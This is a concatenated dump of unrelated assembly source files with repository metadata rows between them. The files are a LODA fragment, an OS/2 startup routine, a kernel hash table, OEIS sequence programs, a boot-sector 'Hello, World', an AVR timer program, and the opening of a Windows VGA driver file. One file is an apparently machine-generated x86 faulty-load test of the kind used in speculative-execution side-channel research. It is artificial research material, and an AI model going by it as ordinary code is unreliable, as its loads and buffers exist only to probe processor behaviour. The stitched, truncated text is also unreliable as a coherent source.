mov $3,2
lpb $0,1
sub $0,$2
sub $0,1
mov $1,$3
add $1,2
sub $1,$2
div $1,4
add $3,7
trn $2,$3
add $3,$1
lpe
add $1,7
| 92.368421 | 1,541 | 0.847863 |
17d113c0216f91a1dbb8003c463c5587a7b76802 | 2,849 | asm | Assembly | lib/src/os/os2/startup/xstart.asm | zanud/xds-2.60 | b4a32b9c9c91fe513fa5ff78ec87bb44102a3b72 | [
"Apache-2.0"
] | 53 | 2019-06-10T18:19:44.000Z | 2021-12-28T18:56:00.000Z | Sources/Lib/src/os/os2/startup/xstart.asm | undecidedzogvisvitalispotent8stars360/xds | cfd20e209193c9cfcee94ad2ca30d8c32ead48c9 | [
"Apache-2.0"
] | 5 | 2020-07-10T16:06:48.000Z | 2021-07-30T07:17:50.000Z | Sources/Lib/src/os/os2/startup/xstart.asm | undecidedzogvisvitalispotent8stars360/xds | cfd20e209193c9cfcee94ad2ca30d8c32ead48c9 | [
"Apache-2.0"
] | 20 | 2019-06-10T18:09:16.000Z | 2021-10-02T19:46:42.000Z | .386p
; COPYRIGHT (c) 1995,97 xTech Ltd. All Rights Reserved.
;
model FLAT
DGROUP group _DATA
_DATA segment use32 dword public 'DATA'
myHandle dd 0
_DATA ends
_TEXT segment use32 dword public 'CODE'
assume cs: _TEXT, ds: DGROUP, gs: nothing, fs: nothing
;EXPORT
;------
public xStart
public X2C_INIT_HISTORY
public X2C_FINALLY
public X2C_MODULE
public X2C_GetMyHandle
;//////////////////////// Entry point /////////////////////////////
extrn X2C_xStart :near
extrn X2C_EstablishMain :near
extrn main :near
xStart proc near
mov eax,+4[esp]
mov myHandle,eax
push offset main
call X2C_EstablishMain
sub esp,-04H
jmp X2C_xStart
xStart endp
;////////////////////////// Finalization //////////////////////////
;PROCEDURE ["C"] X2C_FINALEXE ( proc :PROC );
extrn X2C_FINALEXE :near
;PROCEDURE ["C"] X2C_FINALLY ( p :PROC );
X2C_FINALLY proc near
jmp X2C_FINALEXE
X2C_FINALLY endp
;///////////////////////////// History ///////////////////////////////
;PROCEDURE ["C"] X2C_HISTORY_REG (hmod, someAddr :ADDRESS);
extrn X2C_HISTORY_REG :near
;PROCEDURE ["C"] X2C_HISTORY_ON ();
extrn X2C_HISTORY_ON :near
X2C_INIT_HISTORY proc near
push offset xStart ;arbitrary addr in this code segment
push myHandle
call X2C_HISTORY_REG
call X2C_HISTORY_ON ; to make showable
sub esp,-08H
ret
X2C_INIT_HISTORY endp
;////////////////////// O2 modules unloading support /////////////////////
extrn X2C_MODULEXE :near
;PROCEDURE ["C"] X2C_MODULEXE ( md :xmRTS.X2C_MD; hmod :ADDRESS );
;PROCEDURE ["C"] X2C_MODULE ( md :xmRTS.X2C_MD );
X2C_MODULE proc near
push myHandle
mov eax,+8[esp] ;md
push eax
call X2C_MODULEXE
sub esp,-08H
ret
X2C_MODULE endp
;////////////////////// DLLRTS support ///////////////////////////////////
;PROCEDURE ["C"] / X2C_GetMyHandle(): ADDRESS;
X2C_GetMyHandle proc near
mov eax, myHandle
ret
X2C_GetMyHandle endp
_TEXT ends
end xStart ; entry point
| 25.212389 | 79 | 0.432783 |
f9f70c6e79eef691dfc812b22feeca084a01378d | 3,323 | nasm | Assembly | kernel/hashtable.nasm | r-tty/radios | fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b | [
"BSD-3-Clause"
] | null | null | null | kernel/hashtable.nasm | r-tty/radios | fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b | [
"BSD-3-Clause"
] | null | null | null | kernel/hashtable.nasm | r-tty/radios | fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b | [
"BSD-3-Clause"
] | null | null | null | ;-------------------------------------------------------------------------------
; hashtable.nasm - routines for hash table manipulations.
;-------------------------------------------------------------------------------
module kernel.hashtable
%include "errors.ah"
%include "pool.ah"
%include "hash.ah"
externproc PG_AllocContBlock
externproc K_PoolInit, K_PoolAllocChunk, K_PoolFreeChunk
exportproc K_InitHashPool, K_CreateHashTab
exportproc K_HashAdd, K_HashRelease, K_HashLookup
section .bss
?HashElemCount RESD 1
?MaxHashElems RESD 1
?HashPool RESB tMasterPool_size
section .text
; Initialize hash element pool.
; Input: EAX=maximum number of hash elements.
; Output: none.
proc K_InitHashPool
mpush ebx,ecx
mov [?MaxHashElems],eax
mov ebx,?HashPool
mov ecx,tHashElem_size
xor edx,edx
call K_PoolInit
.Done: mpop ecx,ebx
ret
endp ;---------------------------------------------------------------
; Create a hash table and initialize it.
; Input: none.
; Output: CF=0 - OK, ESI=table address;
; CF=1 - error, AX=error code.
proc K_CreateHashTab
mpush ebx,ecx,edx,edi
mov ecx,HASH_NUMBER*Ptr_size
mov dl,1
call PG_AllocContBlock
jc .Exit
mov edi,ebx
shr ecx,2
xor eax,eax
cld
rep stosd
mov esi,ebx
.Exit: mpop edi,edx,ecx,ebx
ret
endp ;---------------------------------------------------------------
; K_HashAdd - put an element into the table.
; Input: EAX=identifier,
; EBX=key,
; ESI=table address,
; EDI=data pointer.
; Output: CF=0 - OK, EAX=0;
; CF=1 - error, AX=error code.
proc K_HashAdd
locals id, key
prologue
savereg ebx,edx,esi
mov [%$id],eax
mov [%$key],ebx
mHashFunction
lea edx,[esi+edx*4]
Cmp32 ?HashElemCount,?MaxHashElems
jae .NoFreeElem
mov ebx,?HashPool
call K_PoolAllocChunk
jc .NoFreeElem
mov [esi+tHashElem.Data],edi
Mov32 esi+tHashElem.Id,%$id
Mov32 esi+tHashElem.Key,%$key
mEnqueue dword [edx], Next, Prev, esi, tHashElem, ebx
inc dword [?HashElemCount]
xor eax,eax
.Exit: epilogue
ret
.NoFreeElem: mov eax,ERR_NoFreeHashElem
stc
jmp .Exit
endp ;---------------------------------------------------------------
; K_HashRelease - remove the element from the table and free it.
; Input: EDX=table slot address,
; EDI=element address.
; Output: CF=0 - OK, EAX=0;
; CF=1 - error.
proc K_HashRelease
push esi
mov eax,[?HashElemCount]
or eax,eax
stc
jz .Exit
dec dword [?HashElemCount]
mDequeue dword [edx], Next, Prev, edi, tHashElem, esi
mov esi,edi
call K_PoolFreeChunk
.Exit: pop esi
ret
endp ;---------------------------------------------------------------
; K_HashLookup - search in the hash table.
; Input: EAX=identifier,
; EBX=key,
; ESI=table address.
; Output: CF=0 - element found:
; EDX=table slot address,
; EDI=element address;
; CF=1 - element not found.
proc K_HashLookup
push esi
mpush eax,ebx
mHashFunction
mpop ebx,eax
lea edx,[esi+edx*4]
.Loop: mov edi,[edx]
or edi,edi
jz .NotFound
cmp [edi+tHashElem.Id],eax
jne .Next
cmp [edi+tHashElem.Key],ebx
je .Exit
.Next: mov esi,edi
mov edi,[edi+tHashElem.Next]
cmp edi,esi
jne .Loop
.NotFound: stc
jmp .Exit
.Exit: pop esi
ret
endp ;---------------------------------------------------------------
| 22.006623 | 80 | 0.590731 |
1747d93fdf6d189cb28d90e2dab7d5989a1a42d9 | 514 | asm | Assembly | programs/oeis/020/A020517.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/020/A020517.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/020/A020517.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A020517: 9th cyclotomic polynomial evaluated at powers of 2.
; 3,73,4161,262657,16781313,1073774593,68719738881,4398048608257,281474993487873,18014398643699713,1152921505680588801,73786976303428141057,4722366482938364690433,302231454904207049490433,19342813113838464841809921,1237940039285415459271213057,79228162514264619068520660993,5070602400912919857786626506753,324518553658426744797554530058241,20769187434139310658237173392736257
mov $1,8
pow $1,$0
add $1,1
bin $1,2
sub $1,1
mul $1,2
add $1,3
mov $0,$1
| 42.833333 | 375 | 0.863813 |
7a1ebd2cbb02bf58bf13f3094ca8efe78e4ce7cb | 2,495 | asm | Assembly | babysteps/printing-to-screen/boot.asm | TutorialsByNick/blog-operating-system | 531b9dfeec208adf3bf0d555a881c40358c329eb | [
"MIT"
] | 19 | 2016-06-19T16:59:49.000Z | 2021-11-08T12:30:21.000Z | babysteps/printing-to-screen/boot.asm | TutorialsByNick/blog-operating-system | 531b9dfeec208adf3bf0d555a881c40358c329eb | [
"MIT"
] | null | null | null | babysteps/printing-to-screen/boot.asm | TutorialsByNick/blog-operating-system | 531b9dfeec208adf3bf0d555a881c40358c329eb | [
"MIT"
] | 5 | 2016-06-24T21:06:24.000Z | 2021-05-09T17:04:17.000Z | ; boot.asm
; mov ds, 0x07c0 ; Can't do this b/c invalid combination of opcodes and operands
; ds is a segment register -> look into segments
; The code in the boot sector of the disk is loaded by the BIOS at 0000:7c00
; (segment: offset). The segment seems to basically be the start of the
; memory and the offset is added to the segment x 16/0x10
; 64k x 16 = 1024k or 1MB
; Multiplying a hex number by 16 effectively shifts it over 4 bits so instead
; of a 16 digit number, you now have a 20 digit number with four zeros at the
; end. The equivalent action in decimal is multiplying a number by 10 to add
; a zero to the end. Then you can add the offset to get the exact address.
mov ax, 0x07c0 ; First load segment into ax
mov ds, ax ; ds stands for data segment register and stores the segment
; part. It can only load the segment value from a general
; purpose register, not from memory. See link for the bullshit no
; reasons - could be edge case, not wanting to do paths, etc
; http://stackoverflow.com/questions/19074666/8086-why-cant-we-move-an-immediate-data-into-segment-register
mov ah, 0x0 ; Sets ah register to clear the screen
mov al, 0x3 ; Sets screen to 80x25
int 0x10 ; Calls the video service interrupt
mov si, msg ; move the location of msg into si
mov ah, 0x0E ; Set ah to be teletype?? for writing characters
; which takes ascii byte from al and prints it to screen
putchar_loop:
lodsb ; Loads a byte from where si points to into al
or al, al ; Compares the two operands and if either of the bits are one the
; first operand's bit turns to 1, for each bit separately
; Side note about zero flag: If any operation returns zero this
; flag is set
jz hang ; Jumps if the zero flag is set
int 0x10 ; Otherwise calls the video service interrupt
jmp putchar_loop ; Repeat
msg:
db 'Hello, World!', 13, 10, 0
; 13 is carriage return \r
; 10 is line feed \n
; Historically a \r was used to move the carriage down, while the \n was used to move the cursor back to the left side of the page.
hang:
;hlt ; Don't do just this b/c after an interrupt happens, the computer
; executes the command after hlt. Either add a jmp or just keep the
; infinite loop.
jmp hang
times 510-($-$$) db 0
db 0x55
db 0xAA
| 41.583333 | 134 | 0.66493 |
8e3574830479f2080b572016665a58a44664ba47 | 3,636 | asm | Assembly | src/tim.asm | no111u3/m48_robo_asm | a2341f46eb411ec3d015f7ed1f150a1d3856721d | [
"Apache-2.0"
] | null | null | null | src/tim.asm | no111u3/m48_robo_asm | a2341f46eb411ec3d015f7ed1f150a1d3856721d | [
"Apache-2.0"
] | null | null | null | src/tim.asm | no111u3/m48_robo_asm | a2341f46eb411ec3d015f7ed1f150a1d3856721d | [
"Apache-2.0"
] | null | null | null | ;****************************************************************
.include "m48def.inc"
.include "service.inc"
.macro incm
lds r16, @0
lds r17, @0+1
subi r16,(-1)
sbci r17,(-1)
sts @0, r16
sts @0+1, r17
.endm
;****************************************************************
; Data
;****************************************************************
.dseg
.org SRAM_START ; because avra ignores device specific segment placement address
ccnt:
.byte 2
tcnt:
.byte 2
;****************************************************************
; Code
;****************************************************************
.cseg
.org 0x000
rjmp reset ; Reset Handler
reti ; rjmp EXT_INT0 ; IRQ0 Handler
reti ; rjmp EXT_INT1 ; IRQ1 Handler
reti ; rjmp PCINT0 ; PCINT0 Handler
reti ; rjmp PCINT1 ; PCINT1 Handler
reti ; rjmp PCINT2 ; PCINT2 Handler
reti ; rjmp WDT ; Watchdog Timer Handler
reti ; rjmp TIM2_COMPA ; Timer2 Compare A Handler
reti ; rjmp TIM2_COMPB ; Timer2 Compare B Handler
reti ; rjmp TIM2_OVF ; Timer2 Overflow Handler
reti ; rjmp TIM1_CAPT ; Timer1 Capture Handler
reti ; rjmp TIM1_COMPA ; Timer1 Compare A Handler
reti ; rjmp TIM1_COMPB ; Timer1 Compare B Handler
reti ; rjmp TIM1_OVF ; Timer1 Overflow Handler
reti ; rjmp TIM0_COMPA ; Timer0 Compare A Handler
reti ; rjmp TIM0_COMPB ; Timer0 Compare B Handler
rjmp TIM0_OVF ; Timer0 Overflow Handler
reti ; rjmp SPI_STC ; SPI Transfer Complete Handler
reti ; rjmp USART_RXC ; USART, RX Complete Handler
reti ; rjmp USART_UDRE ; USART, UDR Empty Handler
reti ; rjmp USART_TXC ; USART, TX Complete Handler
reti ; rjmp ADC ; ADC Conversion Complete Handler
reti ; rjmp EE_RDY ; EEPROM Ready Handler
reti ; rjmp ANA_COMP ; Analog Comparator Handler
reti ; rjmp TWI ; 2-wire Serial Interface Handler
reti ; rjmp SPM_RDY ; Store Program Memory Ready Handler
; Timer0 Overflow Handler =======================================
TIM0_OVF:
pushf
push r17
incm tcnt
pop r17
popf
reti
reset:
sset RAMEND
regram_clear SRAM_START, RAMEND+1
start:
; Internal hardware init ========================================
setb DDRC, 5, r16 ; DDRC.5 = 1
setb DDRC, 4, r16 ; DDRC.6 = 1
setb PORTC, 3, r16 ; PORC.3 = 1
clrb DDRC, 3, r16 ; DDRC.3 = 0
setb TIMSK0, TOIE0, r16 ; Enable Timer0 interrupt
ldi r16, 1 << CS00 ; Start Timer0, prescale to 1.
uout TCCR0B, r16
sei ; Enable interrupts
;================================================================
; Eternal hardware init =========================================
;================================================================
; Main ==========================================================
Main:
sbis pinc, 3 ; check button if pressed
rjmp BT_Push ; jump to push button handler
setb PORTC, 5, r16 ; Enable led 1
Next:
lds r16, tcnt
lds r17, tcnt+1
cpi r16, 0x0 ; Compare by byte
brne NoMatch
cpi r17, 0x10
brne NoMatch
Match:
invb PORTC, 4, r16, r17 ; Switch led 2
; Clear counter, with clear timer0 cnt register
clr r16
cli ; disable interrupts for atomic operations
uout TCNT0, r16 ; clear timer0 counter
sts tcnt, r16 ; clear program counter
sts tcnt+1, r16
sei ; enable interrupts
NoMatch:
nop
incm ccnt
rjmp Main
BT_Push:
clrb PORTC, 5, r16 ; Disable led 1
rjmp Next
rjmp pc
;================================================================
;****************************************************************
; Eeprom Data
;****************************************************************
.eseg | 25.971429 | 80 | 0.524202 |
7b3880a1aeec5e48ab79ba3eff12c1da3d6ab63a | 645 | asm | Assembly | oeis/226/A226005.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/226/A226005.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/226/A226005.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A226005: Lexicographically earliest sequence such that (a(n), a(n+1)) runs through all the pairs of nonnegative integers exactly once, with the constraint that a(n)=0 iff n is a square.
; Submitted by Jon Maiga
; 0,0,1,1,0,2,1,2,2,0,3,1,3,2,3,3,0,4,1,4,2,4,3,4,4,0,5,1,5,2,5,3,5,4,5,5,0,6,1,6,2,6,3,6,4,6,5,6,6,0,7,1,7,2,7,3,7,4,7,5,7,6,7,7,0,8,1,8,2,8,3,8,4,8,5,8,6,8,7,8,8,0,9,1,9,2,9,3,9,4,9,5,9,6,9,7,9,8,9,9
lpb $0
mov $2,$0
add $2,1
mov $0,$2
seq $2,14682 ; The Collatz or 3x+1 function: a(n) = n/2 if n is even, otherwise (3n+1)/2.
add $2,1
add $3,2
sub $0,$3
sub $2,$3
mov $4,$2
min $4,1
add $1,$4
lpe
mov $0,$1
| 33.947368 | 201 | 0.593798 |
d37b641a7ae2c1ea8ac8f479bceee7cd5c1a7556 | 8,151 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_918.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_918.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_21829_918.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x184df, %rsi
lea addresses_WC_ht+0x10417, %rdi
nop
nop
nop
nop
nop
add $39821, %rdx
mov $100, %rcx
rep movsq
nop
nop
nop
nop
nop
mfence
lea addresses_WT_ht+0x44df, %rbp
nop
nop
and $12479, %rax
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
and $0xffffffffffffffc0, %rbp
movaps %xmm6, (%rbp)
nop
nop
mfence
lea addresses_normal_ht+0xd94b, %rdi
nop
cmp $54299, %rsi
mov (%rdi), %dx
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0x34df, %rsi
lea addresses_D_ht+0x1704f, %rdi
clflush (%rsi)
nop
nop
inc %rbx
mov $125, %rcx
rep movsq
nop
nop
nop
add $15690, %rcx
lea addresses_WC_ht+0x15d3f, %rax
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
vmovups %ymm4, (%rax)
nop
nop
nop
cmp $32382, %rbp
lea addresses_A_ht+0x1ccdf, %rsi
lea addresses_normal_ht+0x10df, %rdi
nop
nop
nop
nop
sub $25485, %r14
mov $44, %rcx
rep movsl
xor %rax, %rax
lea addresses_normal_ht+0x1c576, %rdx
nop
nop
nop
nop
nop
add $42965, %rcx
mov $0x6162636465666768, %rbx
movq %rbx, %xmm0
and $0xffffffffffffffc0, %rdx
vmovntdq %ymm0, (%rdx)
sub %rsi, %rsi
lea addresses_WT_ht+0x1b4df, %rdx
sub %rax, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
vmovups %ymm3, (%rdx)
cmp $28935, %rdi
lea addresses_A_ht+0x425f, %rsi
lea addresses_UC_ht+0xbc3d, %rdi
clflush (%rdi)
nop
nop
cmp $42032, %r14
mov $17, %rcx
rep movsl
nop
dec %rbp
lea addresses_WC_ht+0x20df, %rsi
lea addresses_A_ht+0x81f, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $54, %rcx
rep movsl
nop
nop
nop
nop
nop
and $59091, %r14
lea addresses_A_ht+0x563f, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
dec %rcx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_normal_ht+0x14ce3, %rax
clflush (%rax)
nop
nop
nop
dec %rcx
movb $0x61, (%rax)
add $16730, %rax
lea addresses_WT_ht+0x118df, %rsi
lea addresses_WT_ht+0x3eff, %rdi
nop
nop
nop
xor $32321, %r14
mov $38, %rcx
rep movsq
nop
nop
nop
nop
and %rax, %rax
lea addresses_normal_ht+0x1903f, %rbx
nop
nop
sub %rcx, %rcx
movups (%rbx), %xmm3
vpextrq $0, %xmm3, %rdx
nop
nop
nop
nop
add %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
// Store
mov $0xcdf, %rsi
nop
nop
nop
and $44414, %r12
mov $0x5152535455565758, %r15
movq %r15, (%rsi)
nop
nop
nop
xor %rdi, %rdi
// Faulty Load
lea addresses_WC+0x104df, %rbp
nop
nop
nop
nop
dec %rcx
vmovaps (%rbp), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_P', 'congruent': 10}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.474104 | 2,999 | 0.662986 |
657b68483d5a31b0e8f04070e6e03a99d6880784 | 209 | nasm | Assembly | Projetos/src/F-Assembly/src/nasm/pow.nasm | arnaldojr/Z01.1 | f499f8fc1951559e9c2399387ecb779c503163d0 | [
"Unlicense"
] | 1 | 2018-12-20T15:56:35.000Z | 2018-12-20T15:56:35.000Z | Projetos/src/F-Assembly/src/nasm/pow.nasm | liciascl/Z01.1-Licia | d44090b39b5893726906d5bc1eedf943ef626277 | [
"Unlicense"
] | 1 | 2019-01-15T12:33:03.000Z | 2019-01-15T12:33:03.000Z | Projetos/src/F-Assembly/src/nasm/pow.nasm | liciascl/Z01.1-Licia | d44090b39b5893726906d5bc1eedf943ef626277 | [
"Unlicense"
] | null | null | null | ; Arquivo: Pow.nasm
; Curso: Elementos de Sistemas
; Criado por: Luciano Soares
; Data: 27/03/2017
; Eleva ao quadrado o valor da RAM[1] e armazena o resultado na RAM[0].
; Só funciona com números positivos
| 23.222222 | 71 | 0.732057 |
7cfe8e429073e5c0c1aece853d3041e2e203d06f | 35,858 | asm | Assembly | drivers/video/ms/vga/disp/8bpp/i386/strips.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | drivers/video/ms/vga/disp/8bpp/i386/strips.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | drivers/video/ms/vga/disp/8bpp/i386/strips.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ;---------------------------Module-Header------------------------------;
; Module Name: strips.asm
;
; Routines used by line code to draw strips of pixels.
;
; Copyright (c) 1992 Microsoft Corporation
;-----------------------------------------------------------------------;
.386
.model small,c
assume cs:FLAT,ds:FLAT,es:FLAT,ss:FLAT
assume fs:nothing,gs:nothing
; Set LOOP_UNROLL_SHIFT to the log2 of the number of times you want loops in
; this module unrolled. For example, LOOP_UNROLL_SHIFT of 3 yields 2**3 = 8
; times unrolling. This is the only thing you need to change to control
; unrolling.
LOOP_UNROLL_SHIFT equ 1
.xlist
